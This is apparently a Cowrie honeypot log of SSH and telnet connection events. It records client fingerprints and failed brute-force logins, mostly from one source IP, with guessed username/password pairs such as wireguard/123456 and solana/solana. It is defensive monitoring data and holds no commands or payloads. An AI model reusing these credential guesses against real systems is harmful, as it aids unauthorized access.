{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:08.125767Z","src_ip":"213.209.159.158","session":"6345e3ab6173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:10.186548Z","src_ip":"213.209.159.158","session":"6345e3ab6173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wireguard","password":"123456","message":"login attempt [wireguard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:15.320918Z","src_ip":"213.209.159.158","session":"6345e3ab6173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:18.630837Z","src_ip":"213.209.159.158","session":"6345e3ab6173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20920,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd70a9a28a7","protocol":"ssh","message":"New connection: 213.209.159.158:20920 (10.17.0.5:22) [session: 5bd70a9a28a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:18.725436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:20.644649Z","src_ip":"213.209.159.158","session":"5bd70a9a28a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:20.648458Z","src_ip":"213.209.159.158","session":"5bd70a9a28a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alina","password":"alina","message":"login attempt [alina/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:29.082336Z","src_ip":"213.209.159.158","session":"5bd70a9a28a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":42604,"dst_ip":"10.17.0.5","dst_port":23,"session":"a97af9b5e95e","protocol":"telnet","message":"New connection: 3.130.168.2:42604 (10.17.0.5:23) [session: a97af9b5e95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:29.305099Z"}
{"eventid":"cowrie.session.closed","duration":0.005242586135864258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:29.310198Z","src_ip":"3.130.168.2","session":"a97af9b5e95e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:32.583822Z","src_ip":"213.209.159.158","session":"5bd70a9a28a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57010,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a6b26df30d","protocol":"ssh","message":"New connection: 213.209.159.158:57010 (10.17.0.5:22) [session: 97a6b26df30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:32.664317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:34.715558Z","src_ip":"213.209.159.158","session":"97a6b26df30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:34.719459Z","src_ip":"213.209.159.158","session":"97a6b26df30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":39762,"dst_ip":"159.203.135.109","dst_port":23,"session":"efffc503f10e","protocol":"telnet","message":"New connection: 3.130.168.2:39762 (159.203.135.109:23) [session: efffc503f10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:42.306630Z"}
{"eventid":"cowrie.session.closed","duration":0.06148481369018555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:42.367985Z","src_ip":"3.130.168.2","session":"efffc503f10e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"arakaki","password":"arakaki","message":"login attempt [arakaki/arakaki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:44.049341Z","src_ip":"213.209.159.158","session":"97a6b26df30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:47.351547Z","src_ip":"213.209.159.158","session":"97a6b26df30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37376,"dst_ip":"10.17.0.5","dst_port":22,"session":"c400375995a0","protocol":"ssh","message":"New connection: 213.209.159.158:37376 (10.17.0.5:22) [session: c400375995a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:47.445845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:49.480573Z","src_ip":"213.209.159.158","session":"c400375995a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:49.484072Z","src_ip":"213.209.159.158","session":"c400375995a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:18:59.027061Z","src_ip":"213.209.159.158","session":"c400375995a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:02.153025Z","src_ip":"213.209.159.158","session":"c400375995a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56852,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b2eae9f2fc","protocol":"ssh","message":"New connection: 213.209.159.158:56852 (10.17.0.5:22) [session: 45b2eae9f2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:02.237784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:04.768775Z","src_ip":"213.209.159.158","session":"45b2eae9f2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:04.771754Z","src_ip":"213.209.159.158","session":"45b2eae9f2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"all","password":"all","message":"login attempt [all/all] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:14.411547Z","src_ip":"213.209.159.158","session":"45b2eae9f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:17.952106Z","src_ip":"213.209.159.158","session":"45b2eae9f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":44888,"dst_ip":"10.17.0.5","dst_port":22,"session":"985b5f638bc7","protocol":"ssh","message":"New connection: 213.209.159.158:44888 (10.17.0.5:22) [session: 985b5f638bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:19.208902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:21.124381Z","src_ip":"213.209.159.158","session":"985b5f638bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:21.127613Z","src_ip":"213.209.159.158","session":"985b5f638bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"antonio123","message":"login attempt [antonio/antonio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:29.974107Z","src_ip":"213.209.159.158","session":"985b5f638bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:33.195700Z","src_ip":"213.209.159.158","session":"985b5f638bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52024,"dst_ip":"10.17.0.5","dst_port":22,"session":"8300b0aa2b01","protocol":"ssh","message":"New connection: 213.209.159.158:52024 (10.17.0.5:22) [session: 8300b0aa2b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:34.472656Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":55234,"dst_ip":"159.203.135.109","dst_port":23,"session":"5117d71df447","protocol":"telnet","message":"New connection: 3.130.168.2:55234 (159.203.135.109:23) [session: 5117d71df447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:36.131349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:36.289863Z","src_ip":"213.209.159.158","session":"8300b0aa2b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:36.293229Z","src_ip":"213.209.159.158","session":"8300b0aa2b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51928,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a89a9811ff4","protocol":"ssh","message":"New connection: 2.57.122.238:51928 (10.17.0.5:22) [session: 3a89a9811ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:41.856331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:41.860478Z","src_ip":"2.57.122.238","session":"3a89a9811ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:41.960402Z","src_ip":"2.57.122.238","session":"3a89a9811ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:42.268114Z","src_ip":"2.57.122.238","session":"3a89a9811ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:43.369179Z","src_ip":"2.57.122.238","session":"3a89a9811ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhou","password":"zhou","message":"login attempt [zhou/zhou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:45.370962Z","src_ip":"213.209.159.158","session":"8300b0aa2b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.023513555526733,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:46.154581Z","src_ip":"3.130.168.2","session":"5117d71df447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:19:48.415739Z","src_ip":"213.209.159.158","session":"8300b0aa2b01","protocol":"ssh"}
